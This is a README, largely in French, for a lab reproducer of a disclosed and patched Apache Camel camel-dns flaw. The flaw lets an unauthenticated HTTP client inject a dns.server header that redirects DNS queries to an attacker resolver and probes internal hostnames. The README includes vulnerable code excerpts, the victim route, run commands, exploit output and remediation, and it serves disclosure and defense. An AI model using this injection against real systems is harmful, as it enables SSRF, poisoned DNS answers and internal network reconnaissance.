
Reproducer for CVE-2026-48205: Apache Camel camel-dns dns.* header injection redirecting DNS queries to an attacker-controlled resolver (SSRF via DNS) and enabling internal-hostname reconnaissance (fixed in 4.14.8/4.18.3/4.21.0)
dns.* / term Reproducteur d'injection d'en-tête (CVE-2026-48205)Ce projet démontre une injection d'en-tête de message dans le composant camel-dns d'Apache Camel, suivie sous CVE-2026-48205. Les producteurs DNS lisent leurs paramètres de fonctionnement — le résolveur à interroger, le nom/domaine à rechercher, le type/classe d'enregistrement et le terme de recherche — à partir des en-têtes Exchange dont les valeurs constantes (DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM) étaient les chaînes simples dns.server, dns.name, dns.domain, dns.type, dns.class et term. Parce que ces noms ne commencent pas par le préfixe Camel / camel, HttpHeaderFilterStrategy — qui ne bloque que l'espace de noms des en-têtes Camel à la limite HTTP — les laisse passer d'une requête HTTP entrante directement dans l'Exchange.
Dans une route qui relie un consommateur HTTP (par exemple platform-http) à un producteur dns:, tout client HTTP peut donc définir l'en-tête dns.server pour faire en sorte que le producteur dig construise un SimpleResolver pointant vers un serveur DNS contrôlé par l'attaquant — une falsification de requête côté serveur via DNS (SSRF), grâce à laquelle l'attaquant observe le nom interrogé et peut retourner des réponses empoisonnées — et peut définir dns.name / dns.domain pour résoudre des noms d'hôte internes arbitraires (reconnaissance du réseau interne).
Avis de sécurité : https://camel.apache.org/security/CVE-2026-48205.html
Le correctif renomme les en-têtes en
CamelDnsServer/CamelDnsName/ etc., afin qu'ils soient filtrés à la limite HTTP comme tous les autres en-têtes de contrôle Camel. Même famille que CVE-2025-27636, CVE-2026-46454 et CVE-2026-47323.
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME = "dns.name";
// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server); // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server
Le correctif (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) renomme les valeurs selon la convention CamelDns*.
from("platform-http:/lookup")
.setHeader("dns.name", constant("example.com"))
.setHeader("dns.type", constant("A"))
.setHeader("dns.class", constant("IN"))
.to("dns:dig"); // no dns.server -> default resolver (intended)
La route interroge un nom fixe avec le résolveur par défaut. L'attaquant ajoute un seul en-tête dns.server et la requête est redirigée vers son serveur DNS. (dns.server est en minuscules, donc il survit à la normalisation des en-têtes d'un conteneur de servlets — platform-http suffit.)
CVE-2026-48205/
├── pom.xml # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FakeDnsServer.java # attacker DNS server on UDP 53 (records the redirected query)
│ ├── VictimRoute.java # platform-http:/lookup -> dns:dig
│ └── ExploitController.java # attacker: injects dns.server=127.0.0.1
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== 1) Legitimate request (no dns.server header) — default resolver ===
attacker's DNS server was queried: false
=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
attacker's DNS server was queried: true
observed lookup name: example.com.
>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true
Le serveur DNS de l'attaquant voit maintenant le nom de recherche de la victime (et pourrait retourner une réponse empoisonnée). Pointer dns.server vers un résolveur DNS interne réel, ou définir dns.name sur des noms d'hôte internes, permet la reconnaissance du réseau interne.
Mettez à jour vers 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574). Après la mise à jour, les routes qui pilotent les opérations DNS via des en-têtes doivent utiliser CamelDnsServer / CamelDnsName / etc.
En attendant la mise à jour, supprimez les en-têtes dns.* et term de toute entrée non fiable avant le producteur dns:, et définissez le serveur DNS et les paramètres de recherche à partir d'une source de confiance dans la route.
Ce reproducteur est fourni pour la recherche en sécurité et les tests autorisés uniquement, pour une vulnérabilité divulguée publiquement et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.
| Propriété | Valeur |
|---|
| Composant | camel-dns |
| Classe affectée | org.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server")) |
| CWE | CWE-20 (Validation d'entrée incorrecte) / CWE-918 (Falsification de requête côté serveur) |
| Impact | Rediriger la requête DNS de la route vers un serveur contrôlé par l'attaquant (observer les noms, retourner des réponses empoisonnées) ; énumérer les noms d'hôte internes |
| Préconditions | Une route relie un consommateur HTTP à un producteur dns: ; non authentifié lorsque le consommateur l'est |
| Versions affectées | De 4.0.0 avant 4.14.8, de 4.15.0 avant 4.18.3, de 4.19.0 avant 4.21.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23574 (PR apache/camel#23411) |
| Crédit | Yu Bao (PayPal) |